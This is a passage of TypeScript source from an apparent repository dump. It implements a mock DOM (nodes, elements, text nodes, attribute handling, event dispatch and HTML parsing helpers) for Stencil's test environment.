this.appendChild(child);\n      }\n    } else {\n      newNode.remove();\n      newNode.parentNode = this;\n      this.childNodes.push(newNode);\n      connectNode(this.ownerDocument, newNode);\n    }\n    return newNode;\n  }\n\n  append(...items: (MockNode | string)[]) {\n    items.forEach((item) => {\n      const isNode = typeof item === 'object' && item !== null && 'nodeType' in item;\n      this.appendChild(isNode ? item : this.ownerDocument.createTextNode(String(item)));\n    });\n  }\n\n  prepend(...items: (MockNode | string)[]) {\n    const firstChild = this.firstChild;\n    items.forEach((item) => {\n      const isNode = typeof item === 'object' && item !== null && 'nodeType' in item;\n      this.insertBefore(isNode ? item : this.ownerDocument.createTextNode(String(item)), firstChild);\n    });\n  }\n\n  cloneNode(deep?: boolean): MockNode {\n    throw new Error(`invalid node type to clone: ${this.nodeType}, deep: ${deep}`);\n  }\n\n  compareDocumentPosition(_other: MockNode) {\n    // unimplemented\n    // https://developer.mozilla.org/en-US/docs/Web/API/Node/compareDocumentPosition\n    return -1;\n  }\n\n  get firstChild(): MockNode | null {\n    return this.childNodes[0] || null;\n  }\n\n  insertBefore(newNode: MockNode, referenceNode: MockNode | null) {\n    if (newNode.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n      for (let i = 0, ii = newNode.childNodes.length; i < ii; i++) {\n        insertBefore(this, newNode.childNodes[i], referenceNode);\n      }\n    } else {\n      insertBefore(this, newNode, referenceNode);\n    }\n\n    return newNode;\n  }\n\n  get isConnected() {\n    let node = this as any;\n    while (node != null) {\n      if (node.nodeType === NODE_TYPES.DOCUMENT_NODE) {\n        return true;\n      }\n\n      node = node.parentNode;\n\n      if (node != null && node.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n        node = node.host;\n      }\n    }\n\n    return false;\n  }\n\n  isSameNode(node: any) {\n    return this === node;\n  }\n\n  get lastChild(): MockNode | null {\n    return this.childNodes[this.childNodes.length - 1] || null;\n  }\n\n  get nextSibling(): MockNode | null {\n    if (this.parentNode != null) {\n      const index = this.parentNode.childNodes.indexOf(this) + 1;\n      return this.parentNode.childNodes[index] || null;\n    }\n    return null;\n  }\n\n  get nodeValue() {\n    return this._nodeValue ?? '';\n  }\n  set nodeValue(value: string) {\n    this._nodeValue = value;\n  }\n\n  get parentElement() {\n    return (this.parentNode as any as MockElement) || null;\n  }\n  set parentElement(value: any) {\n    this.parentNode = value;\n  }\n\n  get previousSibling(): MockNode | null {\n    if (this.parentNode != null) {\n      const index = this.parentNode.childNodes.indexOf(this) - 1;\n      return this.parentNode.childNodes[index] || null;\n    }\n    return null;\n  }\n\n  contains(otherNode: MockNode): boolean {\n    if (otherNode === this) {\n      return true;\n    }\n    const childNodes = Array.from(this.childNodes);\n    if (childNodes.includes(otherNode)) {\n      return true;\n    }\n\n    return childNodes.some((node) => this.contains.bind(node)(otherNode));\n  }\n\n  removeChild(childNode: MockNode) {\n    const index = this.childNodes.indexOf(childNode);\n    if (index > -1) {\n      this.childNodes.splice(index, 1);\n\n      if (this.nodeType === NODE_TYPES.ELEMENT_NODE) {\n        const wasConnected = this.isConnected;\n\n        childNode.parentNode = null;\n\n        if (wasConnected === true) {\n          disconnectNode(childNode);\n        }\n      } else {\n        childNode.parentNode = null;\n      }\n    } else {\n      throw new Error(`node not found within childNodes during removeChild`);\n    }\n    return childNode;\n  }\n\n  remove() {\n    if (this.parentNode != null) {\n      (this as any).__parentNode ? (this as any).__parentNode.removeChild(this) : this.parentNode.removeChild(this);\n    }\n  }\n\n  replaceChild(newChild: MockNode, oldChild: MockNode) {\n    if (oldChild.parentNode === this) {\n      this.insertBefore(newChild, oldChild);\n      oldChild.remove();\n      return newChild;\n    }\n    return null;\n  }\n\n  get textContent() {\n    return this._nodeValue ?? '';\n  }\n  set textContent(value: string) {\n    this._nodeValue = String(value);\n  }\n\n  addEventListener(type: string, handler: (ev?: any) => void) {\n    addEventListener(this, type, handler);\n  }\n\n  removeEventListener(type: string, handler: any) {\n    removeEventListener(this, type, handler);\n  }\n\n  dispatchEvent(ev: MockEvent) {\n    return dispatchEvent(this, ev);\n  }\n\n  static ELEMENT_NODE = 1;\n  static TEXT_NODE = 3;\n  static PROCESSING_INSTRUCTION_NODE = 7;\n  static COMMENT_NODE = 8;\n  static DOCUMENT_NODE = 9;\n  static DOCUMENT_TYPE_NODE = 10;\n  static DOCUMENT_FRAGMENT_NODE = 11;\n}\n\nexport class MockNodeList {\n  childNodes: MockNode[];\n  length: number;\n  ownerDocument: any;\n\n  constructor(ownerDocument: any, childNodes: MockNode[], length: number) {\n    this.ownerDocument = ownerDocument;\n    this.childNodes = childNodes;\n    this.length = length;\n  }\n}\n\ntype MockElementInternals = Record<keyof ElementInternals, null>;\n\nexport class MockElement extends MockNode {\n  __namespaceURI: string | null;\n  __attributeMap: MockAttributeMap | null | undefined;\n  __shadowRoot: ShadowRoot | null | undefined;\n  __style: MockCSSStyleDeclaration | null | undefined;\n\n  attachInternals(): MockElementInternals {\n    return new Proxy({} as unknown as MockElementInternals, {\n      get: function (_target, prop, _receiver) {\n        /**\n         * only print warning when running in a test environment\n         */\n        if ('process' in globalThis && globalThis.process.env.__STENCIL_SPEC_TESTS__) {\n          console.error(\n            `NOTE: Property ${String(prop)} was accessed on ElementInternals, but this property is not implemented.\n  Testing components with ElementInternals is fully supported in e2e tests.`,\n          );\n        }\n      },\n    });\n  }\n\n  constructor(ownerDocument: any, nodeName: string | null, namespaceURI: string | null = null) {\n    super(ownerDocument, NODE_TYPES.ELEMENT_NODE, typeof nodeName === 'string' ? nodeName : null, null);\n    this.__namespaceURI = namespaceURI;\n    this.__shadowRoot = null;\n    this.__attributeMap = null;\n  }\n\n  override addEventListener(type: string, handler: (ev?: any) => void) {\n    addEventListener(this, type, handler);\n  }\n\n  attachShadow(_opts: ShadowRootInit) {\n    const shadowRoot = this.ownerDocument.createDocumentFragment();\n    shadowRoot.delegatesFocus = _opts.delegatesFocus ?? false;\n    this.shadowRoot = shadowRoot;\n    return shadowRoot;\n  }\n\n  blur() {\n    // Prevent infinite recursion when blur event handlers call blur()\n    // on the same element while it's already processing a blur event\n    if (isCurrentlyDispatching(this, 'blur')) {\n      return;\n    }\n\n    markAsDispatching(this, 'blur');\n    try {\n      dispatchEvent(\n        this,\n        new MockFocusEvent('blur', { relatedTarget: null, bubbles: true, cancelable: true, composed: true }),\n      );\n    } finally {\n      unmarkAsDispatching(this, 'blur');\n    }\n  }\n\n  get localName() {\n    /**\n     * The `localName` of an element should be always given, however the way\n     * MockDoc is constructed, it won't allow us to guarantee that. Let's throw\n     * and error we get into the situation where we don't have a `nodeName` set.\n     *\n     */\n    if (!this.nodeName) {\n      throw new Error(`Can't compute elements localName without nodeName`);\n    }\n    return this.nodeName.toLocaleLowerCase();\n  }\n\n  get namespaceURI() {\n    return this.__namespaceURI;\n  }\n\n  get shadowRoot() {\n    return this.__shadowRoot || null;\n  }\n\n  /**\n   * Set shadow root for element\n   * @param shadowRoot - ShadowRoot to set\n   */\n  set shadowRoot(shadowRoot: any) {\n    if (shadowRoot != null) {\n      shadowRoot.host = this;\n      this.__shadowRoot = shadowRoot;\n    } else {\n      /**\n       * There are use cases where we want to render a component with `shadow: true` as\n       * a scoped component. In this case, we don't want to have a shadow root attached\n       * to the element. This is why we need to be able to remove the shadow root.\n       *\n       * For example:\n       * calling `renderToString('<my-component></my-component>', {\n       *   serializeShadowRoot: 'scoped'\n       * })`\n       */\n      delete this.__shadowRoot;\n    }\n  }\n\n  get attributes(): MockAttributeMap {\n    if (this.__attributeMap == null) {\n      const attrMap = createAttributeProxy(false);\n      this.__attributeMap = attrMap;\n      return attrMap;\n    }\n    return this.__attributeMap;\n  }\n\n  set attributes(attrs: MockAttributeMap) {\n    this.__attributeMap = attrs;\n  }\n\n  get children() {\n    return this.childNodes.filter((n) => n.nodeType === NODE_TYPES.ELEMENT_NODE) as MockElement[];\n  }\n\n  get childElementCount() {\n    return this.childNodes.filter((n) => n.nodeType === NODE_TYPES.ELEMENT_NODE).length;\n  }\n\n  get className() {\n    return this.getAttributeNS(null, 'class') || '';\n  }\n  set className(value: string) {\n    this.setAttributeNS(null, 'class', value);\n  }\n\n  get classList() {\n    return new MockTokenList(this as any, 'class');\n  }\n\n  get part() {\n    return new MockTokenList(this as any, 'part');\n  }\n\n  set part(value: string | MockTokenList) {\n    this.setAttributeNS(null, 'part', String(value));\n  }\n\n  click() {\n    dispatchEvent(this, new MockEvent('click', { bubbles: true, cancelable: true, composed: true }));\n  }\n\n  override cloneNode(_deep?: boolean): MockElement {\n    // implemented on MockElement.prototype from within element.ts\n    // @ts-ignore - implemented on MockElement.prototype from within element.ts\n    return null;\n  }\n\n  closest(selector: string) {\n    let elm = this;\n    while (elm != null) {\n      if (elm.matches(selector)) {\n        return elm;\n      }\n      elm = elm.parentNode as any;\n    }\n    return null;\n  }\n\n  get dataset() {\n    return dataset(this);\n  }\n\n  get dir() {\n    return this.getAttributeNS(null, 'dir') || '';\n  }\n  set dir(value: string) {\n    this.setAttributeNS(null, 'dir', value);\n  }\n\n  override dispatchEvent(ev: MockEvent) {\n    return dispatchEvent(this, ev);\n  }\n\n  get firstElementChild(): MockElement | null {\n    return this.children[0] || null;\n  }\n\n  focus(_options?: { preventScroll?: boolean }) {\n    dispatchEvent(\n      this,\n      new MockFocusEvent('focus', { relatedTarget: null, bubbles: true, cancelable: true, composed: true }),\n    );\n  }\n\n  getAttribute(attrName: string) {\n    if (attrName === 'style') {\n      if (this.__style != null && this.__style.length > 0) {\n        return this.style.cssText;\n      }\n      return null;\n    }\n    const attr = this.attributes.getNamedItem(attrName);\n    if (attr != null) {\n      return attr.value;\n    }\n    return null;\n  }\n\n  getAttributeNS(namespaceURI: string | null, attrName: string) {\n    const attr = this.attributes.getNamedItemNS(namespaceURI, attrName);\n    if (attr != null) {\n      return attr.value;\n    }\n    return null;\n  }\n\n  getAttributeNode(attrName: string): MockAttr | null {\n    if (!this.hasAttribute(attrName)) {\n      return null;\n    }\n\n    return new MockAttr(attrName, this.getAttribute(attrName));\n  }\n\n  getBoundingClientRect() {\n    return { bottom: 0, height: 0, left: 0, right: 0, top: 0, width: 0, x: 0, y: 0 };\n  }\n\n  getRootNode(opts?: { composed?: boolean; [key: string]: any }) {\n    const isComposed = opts != null && opts.composed === true;\n\n    let node: Node = this as any;\n\n    while (node.parentNode != null) {\n      node = node.parentNode;\n\n      if (isComposed === true && node.parentNode == null && (node as any).host != null) {\n        node = (node as any).host;\n      }\n    }\n\n    return node;\n  }\n\n  get draggable() {\n    return this.getAttributeNS(null, 'draggable') === 'true';\n  }\n  set draggable(value: boolean) {\n    this.setAttributeNS(null, 'draggable', value);\n  }\n\n  hasChildNodes() {\n    return this.childNodes.length > 0;\n  }\n\n  get id() {\n    return this.getAttributeNS(null, 'id') || '';\n  }\n  set id(value: string) {\n    this.setAttributeNS(null, 'id', value);\n  }\n\n  get innerHTML() {\n    if (this.childNodes.length === 0) {\n      return '';\n    }\n    return serializeNodeToHtml(this as any, {\n      newLines: false,\n      indentSpaces: 0,\n    });\n  }\n\n  set innerHTML(html: string) {\n    if (NON_ESCAPABLE_CONTENT.has(this.nodeName ?? '') === true) {\n      setTextContent(this, html);\n    } else {\n      for (let i = this.childNodes.length - 1; i >= 0; i--) {\n        this.removeChild(this.childNodes[i]);\n      }\n\n      if (typeof html === 'string') {\n        const frag = parseFragmentUtil(this.ownerDocument, html);\n        while (frag.childNodes.length > 0) {\n          this.appendChild(frag.childNodes[0]);\n        }\n      }\n    }\n  }\n\n  get innerText() {\n    const text: string[] = [];\n    getTextContent(this.childNodes, text);\n    return text.join('');\n  }\n\n  set innerText(value: string) {\n    setTextContent(this, value);\n  }\n\n  insertAdjacentElement(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', elm: MockHTMLElement) {\n    if (position === 'beforebegin' && this.parentNode) {\n      insertBefore(this.parentNode, elm, this);\n    } else if (position === 'afterbegin') {\n      this.prepend(elm);\n    } else if (position === 'beforeend') {\n      this.appendChild(elm);\n    } else if (position === 'afterend' && this.parentNode) {\n      insertBefore(this.parentNode, elm, this.nextSibling);\n    }\n    return elm;\n  }\n\n  insertAdjacentHTML(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', html: string) {\n    const frag = parseFragmentUtil(this.ownerDocument, html);\n    if (position === 'beforebegin') {\n      while (frag.childNodes.length > 0) {\n        if (this.parentNode) {\n          insertBefore(this.parentNode, frag.childNodes[0], this);\n        }\n      }\n    } else if (position === 'afterbegin') {\n      while (frag.childNodes.length > 0) {\n        this.prepend(frag.childNodes[frag.childNodes.length - 1]);\n      }\n    } else if (position === 'beforeend') {\n      while (frag.childNodes.length > 0) {\n        this.appendChild(frag.childNodes[0]);\n      }\n    } else if (position === 'afterend') {\n      while (frag.childNodes.length > 0) {\n        if (this.parentNode) {\n          insertBefore(this.parentNode, frag.childNodes[frag.childNodes.length - 1], this.nextSibling);\n        }\n      }\n    }\n  }\n\n  insertAdjacentText(position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', text: string) {\n    const elm = this.ownerDocument.createTextNode(text);\n    if (position === 'beforebegin' && this.parentNode) {\n      insertBefore(this.parentNode, elm, this);\n    } else if (position === 'afterbegin') {\n      this.prepend(elm);\n    } else if (position === 'beforeend') {\n      this.appendChild(elm);\n    } else if (position === 'afterend' && this.parentNode) {\n      insertBefore(this.parentNode, elm, this.nextSibling);\n    }\n  }\n\n  hasAttribute(attrName: string) {\n    if (attrName === 'style') {\n      return this.__style != null && this.__style.length > 0;\n    }\n    return this.getAttribute(attrName) !== null;\n  }\n\n  hasAttributeNS(namespaceURI: string | null, name: string) {\n    return this.getAttributeNS(namespaceURI, name) !== null;\n  }\n\n  get hidden() {\n    return this.hasAttributeNS(null, 'hidden');\n  }\n  set hidden(isHidden: boolean) {\n    if (isHidden === true) {\n      this.setAttributeNS(null, 'hidden', '');\n    } else {\n      this.removeAttributeNS(null, 'hidden');\n    }\n  }\n\n  get lang() {\n    return this.getAttributeNS(null, 'lang') || '';\n  }\n  set lang(value: string) {\n    this.setAttributeNS(null, 'lang', value);\n  }\n\n  get lastElementChild(): MockElement | null {\n    const children = this.children;\n    return children[children.length - 1] || null;\n  }\n\n  matches(selector: string) {\n    return matches(selector, this);\n  }\n\n  get nextElementSibling() {\n    const parentElement = this.parentElement;\n    if (\n      parentElement != null &&\n      (parentElement.nodeType === NODE_TYPES.ELEMENT_NODE ||\n        parentElement.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE ||\n        parentElement.nodeType === NODE_TYPES.DOCUMENT_NODE)\n    ) {\n      const children = parentElement.children;\n      const index = children.indexOf(this) + 1;\n      return parentElement.children[index] || null;\n    }\n    return null;\n  }\n\n  get outerHTML() {\n    return serializeNodeToHtml(this as any, {\n      newLines: false,\n      outerHtml: true,\n      indentSpaces: 0,\n    });\n  }\n\n  get previousElementSibling() {\n    const parentElement = this.parentElement;\n    if (\n      parentElement != null &&\n      (parentElement.nodeType === NODE_TYPES.ELEMENT_NODE ||\n        parentElement.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE ||\n        parentElement.nodeType === NODE_TYPES.DOCUMENT_NODE)\n    ) {\n      const children = parentElement.children;\n      const index = children.indexOf(this) - 1;\n      return parentElement.children[index] || null;\n    }\n    return null;\n  }\n\n  getElementsByClassName(classNames: string) {\n    const classes = classNames\n      .trim()\n      .split(' ')\n      .filter((c) => c.length > 0);\n    const results: MockElement[] = [];\n    getElementsByClassName(this, classes, results);\n    return results;\n  }\n\n  getElementsByTagName(tagName: string) {\n    const results: MockElement[] = [];\n    getElementsByTagName(this, tagName.toLowerCase(), results);\n    return results;\n  }\n\n  querySelector(selector: string) {\n    return selectOne(selector, this);\n  }\n\n  querySelectorAll(selector: string) {\n    return selectAll(selector, this);\n  }\n\n  removeAttribute(attrName: string) {\n    if (attrName === 'style') {\n      delete this.__style;\n    } else {\n      const attr = this.attributes.getNamedItem(attrName);\n      if (attr != null) {\n        this.attributes.removeNamedItemNS(attr);\n        if (checkAttributeChanged(this) === true) {\n          attributeChanged(this, attrName, attr.value, null);\n        }\n      }\n    }\n  }\n\n  removeAttributeNS(namespaceURI: string | null, attrName: string) {\n    const attr = this.attributes.getNamedItemNS(namespaceURI, attrName);\n    if (attr != null) {\n      this.attributes.removeNamedItemNS(attr);\n      if (checkAttributeChanged(this) === true) {\n        attributeChanged(this, attrName, attr.value, null);\n      }\n    }\n  }\n\n  override removeEventListener(type: string, handler: any) {\n    removeEventListener(this, type, handler);\n  }\n\n  setAttribute(attrName: string, value: any) {\n    if (attrName === 'style') {\n      this.style = value;\n    } else {\n      const attributes = this.attributes;\n      let attr = attributes.getNamedItem(attrName);\n      const checkAttrChanged = checkAttributeChanged(this);\n\n      if (attr != null) {\n        if (checkAttrChanged === true) {\n          const oldValue = attr.value;\n          attr.value = value;\n\n          if (oldValue !== attr.value) {\n            attributeChanged(this, attr.name, oldValue, attr.value);\n          }\n        } else {\n          attr.value = value;\n        }\n      } else {\n        if (attributes.caseInsensitive) {\n          attrName = attrName.toLowerCase();\n        }\n        attr = new MockAttr(attrName, value);\n        attributes.__items.push(attr);\n\n        if (checkAttrChanged === true) {\n          attributeChanged(this, attrName, null, attr.value);\n        }\n      }\n    }\n  }\n\n  setAttributeNS(namespaceURI: string | null, attrName: string, value: any) {\n    const attributes = this.attributes;\n    let attr = attributes.getNamedItemNS(namespaceURI, attrName);\n    const checkAttrChanged = checkAttributeChanged(this);\n\n    if (attr != null) {\n      if (checkAttrChanged === true) {\n        const oldValue = attr.value;\n        attr.value = value;\n\n        if (oldValue !== attr.value) {\n          attributeChanged(this, attr.name, oldValue, attr.value);\n        }\n      } else {\n        attr.value = value;\n      }\n    } else {\n      attr = new MockAttr(attrName, value, namespaceURI);\n      attributes.__items.push(attr);\n\n      if (checkAttrChanged === true) {\n        attributeChanged(this, attrName, null, attr.value);\n      }\n    }\n  }\n\n  get style() {\n    if (this.__style == null) {\n      this.__style = createCSSStyleDeclaration();\n    }\n    return this.__style;\n  }\n  set style(val: any) {\n    if (typeof val === 'string') {\n      if (this.__style == null) {\n        this.__style = createCSSStyleDeclaration();\n      }\n      this.__style.cssText = val;\n    } else {\n      this.__style = val;\n    }\n  }\n\n  get tabIndex() {\n    return parseInt(this.getAttributeNS(null, 'tabindex') || '-1', 10);\n  }\n  set tabIndex(value: number) {\n    this.setAttributeNS(null, 'tabindex', value);\n  }\n\n  get tagName() {\n    return this.nodeName ?? '';\n  }\n  set tagName(value: string) {\n    this.nodeName = value;\n  }\n\n  override get textContent() {\n    const text: string[] = [];\n    getTextContent(this.childNodes, text);\n    return text.join('');\n  }\n  override set textContent(value: string) {\n    setTextContent(this, value);\n  }\n\n  get title() {\n    return this.getAttributeNS(null, 'title') || '';\n  }\n  set title(value: string) {\n    this.setAttributeNS(null, 'title', value);\n  }\n\n  animate() {\n    /**/\n  }\n  onanimationstart() {\n    /**/\n  }\n  onanimationend() {\n    /**/\n  }\n  onanimationiteration() {\n    /**/\n  }\n  onabort() {\n    /**/\n  }\n  onauxclick() {\n    /**/\n  }\n  onbeforecopy() {\n    /**/\n  }\n  onbeforecut() {\n    /**/\n  }\n  onbeforepaste() {\n    /**/\n  }\n  onblur() {\n    /**/\n  }\n  oncancel() {\n    /**/\n  }\n  oncanplay() {\n    /**/\n  }\n  oncanplaythrough() {\n    /**/\n  }\n  onchange() {\n    /**/\n  }\n  onclick() {\n    /**/\n  }\n  onclose() {\n    /**/\n  }\n  oncontextmenu() {\n    /**/\n  }\n  oncopy() {\n    /**/\n  }\n  oncuechange() {\n    /**/\n  }\n  oncut() {\n    /**/\n  }\n  ondblclick() {\n    /**/\n  }\n  ondrag() {\n    /**/\n  }\n  ondragend() {\n    /**/\n  }\n  ondragenter() {\n    /**/\n  }\n  ondragleave() {\n    /**/\n  }\n  ondragover() {\n    /**/\n  }\n  ondragstart() {\n    /**/\n  }\n  ondrop() {\n    /**/\n  }\n  ondurationchange() {\n    /**/\n  }\n  onemptied() {\n    /**/\n  }\n  onended() {\n    /**/\n  }\n  onerror() {\n    /**/\n  }\n  onfocus() {\n    /**/\n  }\n  onfocusin() {\n    /**/\n  }\n  onfocusout() {\n    /**/\n  }\n  onformdata() {\n    /**/\n  }\n  onfullscreenchange() {\n    /**/\n  }\n  onfullscreenerror() {\n    /**/\n  }\n  ongotpointercapture() {\n    /**/\n  }\n  oninput() {\n    /**/\n  }\n  oninvalid() {\n    /**/\n  }\n  onkeydown() {\n    /**/\n  }\n  onkeypress() {\n    /**/\n  }\n  onkeyup() {\n    /**/\n  }\n  onload() {\n    /**/\n  }\n  onloadeddata() {\n    /**/\n  }\n  onloadedmetadata() {\n    /**/\n  }\n  onloadstart() {\n    /**/\n  }\n  onlostpointercapture() {\n    /**/\n  }\n  onmousedown() {\n    /**/\n  }\n  onmouseenter() {\n    /**/\n  }\n  onmouseleave() {\n    /**/\n  }\n  onmousemove() {\n    /**/\n  }\n  onmouseout() {\n    /**/\n  }\n  onmouseover() {\n    /**/\n  }\n  onmouseup() {\n    /**/\n  }\n  onmousewheel() {\n    /**/\n  }\n  onpaste() {\n    /**/\n  }\n  onpause() {\n    /**/\n  }\n  onplay() {\n    /**/\n  }\n  onplaying() {\n    /**/\n  }\n  onpointercancel() {\n    /**/\n  }\n  onpointerdown() {\n    /**/\n  }\n  onpointerenter() {\n    /**/\n  }\n  onpointerleave() {\n    /**/\n  }\n  onpointermove() {\n    /**/\n  }\n  onpointerout() {\n    /**/\n  }\n  onpointerover() {\n    /**/\n  }\n  onpointerup() {\n    /**/\n  }\n  onprogress() {\n    /**/\n  }\n  onratechange() {\n    /**/\n  }\n  onreset() {\n    /**/\n  }\n  onresize() {\n    /**/\n  }\n  onscroll() {\n    /**/\n  }\n  onsearch() {\n    /**/\n  }\n  onseeked() {\n    /**/\n  }\n  onseeking() {\n    /**/\n  }\n  onselect() {\n    /**/\n  }\n  onselectstart() {\n    /**/\n  }\n  onstalled() {\n    /**/\n  }\n  onsubmit() {\n    /**/\n  }\n  onsuspend() {\n    /**/\n  }\n  ontimeupdate() {\n    /**/\n  }\n  ontoggle() {\n    /**/\n  }\n  onvolumechange() {\n    /**/\n  }\n  onwaiting() {\n    /**/\n  }\n  onwebkitfullscreenchange() {\n    /**/\n  }\n  onwebkitfullscreenerror() {\n    /**/\n  }\n  onwheel() {\n    /**/\n  }\n  requestFullscreen() {\n    /**/\n  }\n  scrollBy() {\n    /**/\n  }\n  scrollTo() {\n    /**/\n  }\n  scrollIntoView() {\n    /**/\n  }\n\n  override toString(opts?: SerializeNodeToHtmlOptions) {\n    return serializeNodeToHtml(this as any, opts);\n  }\n}\n\nfunction getElementsByClassName(elm: MockElement, classNames: string[], foundElms: MockElement[]) {\n  const children = elm.children;\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const childElm = children[i];\n    for (let j = 0, jj = classNames.length; j < jj; j++) {\n      if (childElm.classList.contains(classNames[j])) {\n        foundElms.push(childElm);\n      }\n    }\n    getElementsByClassName(childElm, classNames, foundElms);\n  }\n}\n\nfunction getElementsByTagName(elm: MockElement, tagName: string, foundElms: MockElement[]) {\n  const children = elm.children;\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const childElm = children[i];\n    if (tagName === '*' || (childElm.nodeName ?? '').toLowerCase() === tagName) {\n      foundElms.push(childElm);\n    }\n    getElementsByTagName(childElm, tagName, foundElms);\n  }\n}\n\nexport function resetElement(elm: MockElement) {\n  resetEventListeners(elm);\n  delete elm.__attributeMap;\n  delete elm.__shadowRoot;\n  delete elm.__style;\n}\n\nfunction insertBefore(parentNode: MockNode, newNode: MockNode, referenceNode: MockNode | null) {\n  if (newNode !== referenceNode) {\n    newNode.remove();\n    newNode.parentNode = parentNode;\n    newNode.ownerDocument = parentNode.ownerDocument;\n\n    if (referenceNode != null) {\n      const index = parentNode.childNodes.indexOf(referenceNode);\n      if (index > -1) {\n        parentNode.childNodes.splice(index, 0, newNode);\n      } else {\n        throw new Error(`referenceNode not found in parentNode.childNodes`);\n      }\n    } else {\n      parentNode.childNodes.push(newNode);\n    }\n\n    connectNode(parentNode.ownerDocument, newNode);\n  }\n\n  return newNode;\n}\n\nexport class MockHTMLElement extends MockElement {\n  override __namespaceURI = 'http://www.w3.org/1999/xhtml';\n\n  constructor(ownerDocument: any, nodeName: string | null) {\n    super(ownerDocument, typeof nodeName === 'string' ? nodeName.toUpperCase() : null);\n  }\n\n  override get tagName() {\n    return this.nodeName ?? '';\n  }\n  override set tagName(value: string) {\n    this.nodeName = value;\n  }\n\n  /**\n   * A node’s parent of type Element is known as its parent element.\n   * If the node has a parent of a different type, its parent element\n   * is null.\n   * @returns MockElement\n   */\n  override get parentElement() {\n    if (this.nodeName === 'HTML') {\n      return null;\n    }\n    return super.parentElement;\n  }\n\n  override get attributes(): MockAttributeMap {\n    if (this.__attributeMap == null) {\n      const attrMap = createAttributeProxy(true);\n      this.__attributeMap = attrMap;\n      return attrMap;\n    }\n    return this.__attributeMap;\n  }\n\n  override set attributes(attrs: MockAttributeMap) {\n    this.__attributeMap = attrs;\n  }\n}\n\nexport class MockTextNode extends MockNode {\n  constructor(ownerDocument: any, text: string) {\n    super(ownerDocument, NODE_TYPES.TEXT_NODE, NODE_NAMES.TEXT_NODE, text);\n  }\n\n  override cloneNode(_deep?: boolean) {\n    return new MockTextNode(null, this.nodeValue);\n  }\n\n  override get textContent() {\n    return this.nodeValue;\n  }\n  override set textContent(text) {\n    this.nodeValue = text;\n  }\n\n  get data() {\n    return this.nodeValue;\n  }\n  set data(text) {\n    this.nodeValue = text;\n  }\n\n  get wholeText() {\n    if (this.parentNode != null) {\n      const text: string[] = [];\n      for (let i = 0, ii = this.parentNode.childNodes.length; i < ii; i++) {\n        const childNode = this.parentNode.childNodes[i];\n        if (childNode.nodeType === NODE_TYPES.TEXT_NODE) {\n          text.push(childNode.nodeValue);\n        }\n      }\n      return text.join('');\n    }\n\n    return this.nodeValue;\n  }\n}\n\nfunction getTextContent(childNodes: MockNode[], text: string[]) {\n  for (let i = 0, ii = childNodes.length; i < ii; i++) {\n    const childNode = childNodes[i];\n    if (childNode.nodeType === NODE_TYPES.TEXT_NODE) {\n      text.push(childNode.nodeValue);\n    } else if (childNode.nodeType === NODE_TYPES.ELEMENT_NODE) {\n      getTextContent(childNode.childNodes, text);\n    }\n  }\n}\n\nfunction setTextContent(elm: MockElement, text: string) {\n  for (let i = elm.childNodes.length - 1; i >= 0; i--) {\n    elm.removeChild(elm.childNodes[i]);\n  }\n  const textNode = new MockTextNode(elm.ownerDocument, text);\n  elm.appendChild(textNode);\n}\n\n// Track currently dispatching events to prevent infinite recursion\nconst currentlyDispatching = new WeakMap<any, Set<string>>();\n\n/**\n * @param target - The element that is currently dispatching an event.\n * @param eventType - The type of event that is currently dispatching.\n * @returns True if the element is currently dispatching the event, false otherwise.\n */\nexport function isCurrentlyDispatching(target: any, eventType: string): boolean {\n  const dispatchingEvents = currentlyDispatching.get(target);\n  return dispatchingEvents != null && dispatchingEvents.has(eventType);\n}\n\n/**\n * @param target - The element that is currently dispatching an event.\n * @param eventType - The type of event that is currently dispatching.\n */\nexport function markAsDispatching(target: any, eventType: string): void {\n  let dispatchingEvents = currentlyDispatching.get(target);\n  if (dispatchingEvents == null) {\n    dispatchingEvents = new Set<string>();\n    currentlyDispatching.set(target, dispatchingEvents);\n  }\n  dispatchingEvents.add(eventType);\n}\n\n/**\n * @param target - The element that is currently dispatching an event.\n * @param eventType - The type of event that is currently dispatching.\n */\nexport function unmarkAsDispatching(target: any, eventType: string): void {\n  const dispatchingEvents = currentlyDispatching.get(target);\n  if (dispatchingEvents != null) {\n    dispatchingEvents.delete(eventType);\n    if (dispatchingEvents.size === 0) {\n      currentlyDispatching.delete(target);\n    }\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/parse-html.ts",
    "content": "import { MockDocument } from './document';\nimport { parseDocumentUtil, parseFragmentUtil } from './parse-util';\n\nlet sharedDocument: MockDocument;\n\nexport function parseHtmlToDocument(html: string, ownerDocument: MockDocument = null) {\n  if (ownerDocument == null) {\n    if (sharedDocument == null) {\n      sharedDocument = new MockDocument();\n    }\n    ownerDocument = sharedDocument;\n  }\n\n  return parseDocumentUtil(ownerDocument, html);\n}\n\nexport function parseHtmlToFragment(html: string, ownerDocument: MockDocument = null) {\n  if (ownerDocument == null) {\n    if (sharedDocument == null) {\n      sharedDocument = new MockDocument();\n    }\n    ownerDocument = sharedDocument;\n  }\n\n  return parseFragmentUtil(ownerDocument, html);\n}\n"
  },
  {
    "path": "src/mock-doc/parse-util.ts",
    "content": "import {\n  type html,\n  parse,\n  parseFragment,\n  type ParserOptions,\n  type Token,\n  type TreeAdapter,\n  type TreeAdapterTypeMap,\n} from 'parse5';\n\nimport { MockComment } from './comment-node';\nimport { NODE_NAMES, NODE_TYPES } from './constants';\nimport { MockDocument } from './document';\nimport { MockDocumentFragment } from './document-fragment';\nimport { MockTemplateElement } from './element';\nimport { MockElement, MockNode, MockTextNode } from './node';\n\nconst docParser = new WeakMap<any, any>();\n\nexport function parseDocumentUtil(ownerDocument: any, html: string) {\n  const doc = parse(html.trim(), getParser(ownerDocument)) as any;\n\n  doc.documentElement = doc.firstElementChild;\n  doc.head = doc.documentElement.firstElementChild;\n  doc.body = doc.head.nextElementSibling;\n\n  return doc;\n}\n\nexport function parseFragmentUtil(ownerDocument: any, html: string) {\n  if (typeof html === 'string') {\n    html = html.trim();\n  } else {\n    html = '';\n  }\n  const frag = parseFragment(html, getParser(ownerDocument)) as any;\n  return frag;\n}\n\nfunction getParser(ownerDocument: MockDocument) {\n  let parseOptions: 